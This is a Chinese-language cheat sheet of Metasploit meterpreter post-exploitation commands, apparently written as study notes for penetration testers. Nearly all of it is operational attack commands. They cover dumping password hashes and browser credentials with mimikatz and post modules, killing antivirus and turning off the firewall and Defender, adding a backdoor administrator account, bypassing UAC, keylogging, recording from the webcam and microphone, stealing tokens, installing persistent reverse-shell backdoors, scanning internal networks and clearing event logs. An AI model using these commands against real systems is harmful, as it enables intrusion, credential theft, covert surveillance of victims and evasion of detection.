msf后渗透使用

msf后渗透命令整理

  • 后渗透基本知识
  • 权限维持,权限提升,内网渗透等
  • 内网渗透:信息收集,读取用户hash,浏览器密码等
  • 域渗透:获取域控权限

1.后渗透基本操作

1
2
3
4
5
background		    让meterpreter处于后台
sessions -i 会话号 与会话进行交互
quit 退出会话
shell 获取一个交互式shell
irb 开启ruby终端

2.文件操作命令

1
2
3
4
5
6
cat 		    查看文件内容
getwd 查看当前工作目录
upload 上传文件
download 下载文件
edit 编辑文件
search 搜索文件

3.网络命令

1
2
3
4
ipconfig/ifconfig		查看网络接口信息
portwd 端口转发 本机监听端口 把目标机端口转到本机端口上
rdesktop 使用rdesktop来连接 -u 用户名 -p 密码
route 获取路由表

后渗透基本操作

1
2
3
4
5
6
7
ps			    查看当前进程
migrate pid 将meterpreter进程pid移动到指定进程中
execute -H -i -f cmd.exe 创建新进程cmd.exe -H不可见 -i交互
getpid 获 取当前进程的pid
kill pid 杀死进程
getuid 查看当前权限
sysinfo 查看目标机系统信息

后渗透高级操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# post后渗透模块
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run scraper #获取常见信息
run post/windows/gather/enum_patches #获取补丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run getgui -u hack -p 123 #有时候无法使用后渗透模块添加用户可以使用shell自主添加
net user hack Zyx960706 /add
net localgroup administrator hack /add
netsh advfirewall set allprofiles state off #关闭防火墙
net stop windefend
run post/windows/gather/enum_patches #补丁信息
run post/multi/recon/local_exploit_suggester #查询可利用的漏洞


# load命令
load mimikatz 加载mimikatz
wdigest 获取用户密码
load incognito 加载incognito盗取主机用户令牌假冒用户

# 域内存活主机探测(系统、端口)
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)

# 端口扫描
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(1-10000)
auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口
#端口扫描有时会使会话终端,所以可以上传nmap后在shell中使用nmap扫描。但是要记得清理

# 服务扫描
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口
use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字

信息收集

1
2
3
4
run post/windows/gather/checkvm		检查是否为虚拟机
cmd下 quser 查看用户是否在线
idletime 检查受害者闲置了多久
screenshot 截屏

用户口令

1
2
hashdump	获取用户hash
run post/windows/gather/smart_hashdump 获取域的密码

权限提升

1
2
普通用户利用漏洞获取权限
use exploit/windows/local/ms18_8120_win32k_privesc

自动匹配提权模块

1
2
post/multi/recon/local_exploit_suggester
post/windows/gather/enum_patches

关闭防火墙

1
netsh advfirewall set allprofiles state off

本地提权

1
search local/ms

绕过UAC

1
2
3
4
use exploit/windows/local/bypassuac 
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

获取system权限

1
getsystem

缓存口令

1
2
3
4
5
6
7
8
获取谷歌chrome缓存
run post/windows/gather/enum_chrome

获取火狐firfox缓存
run post/windows/gather/enum_firefox

获取IE缓存
run post/windows/gather/enum_ie

键盘记录

1
2
3
keyscan_start	开启键盘记录
keyscan_dump 显示捕捉到的记录
keyscan_stop 停止键盘记录

域口令获取

1
2
3
4
steal_token 试图窃取指定(pid)进程的令牌
use incognito 加载incoginto功能(盗取目标主机的令牌或是假冒用户)
list_tokens -u 列出目标主机用户的可用令牌
list_tokens -g 列出目标主机用户组的可用令牌

摄像头信息

1
2
3
4
record_mic	音频录制
webcam_chat 查看摄像头接口
webcam_list 查看摄像头列表
webcam_stream 摄像头视频获取

后门持久化,权限维持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
1.migrate
migrate pid
可以将meterpreter的当前进程迁移到其他指定进程中,这样做的好处是给后门一个相对稳定的环境,同时可以防止杀软

2.metsvc
run metsvc -A
meterpreter提供两种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence).
通过服务(metsvc)启动方式,优点是命令简单方便,不需要设置太多参数.缺点是只要发现了这个后门,所有人都可以连接

3.persistence
run persistence -S -U -X -i 5 -p 端口 -r ip
通过开机启动项启动的方式,缺点是命令参数多比较复杂,可能因为启动项权限原因,导致失败,且并无回显.优点是,因为载入启动项中,所以一般的杀软都会放行,如果在用shellcode做下免杀会更好,当然这是后话
-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP

4.run vnc(远程控制,类似3389远程桌面)
run vnc
run post/windows/manager/enable_rdp 开启远程桌面

5.getuid(创建一个用户,客户端化)
常用命令
run getuid -e 开启远程桌面
run getuid -u name -p password 添加用户
run getuid -f 4446 -e 将3389端口转发到4446

清除痕迹

清楚所有日志信息

1
clearev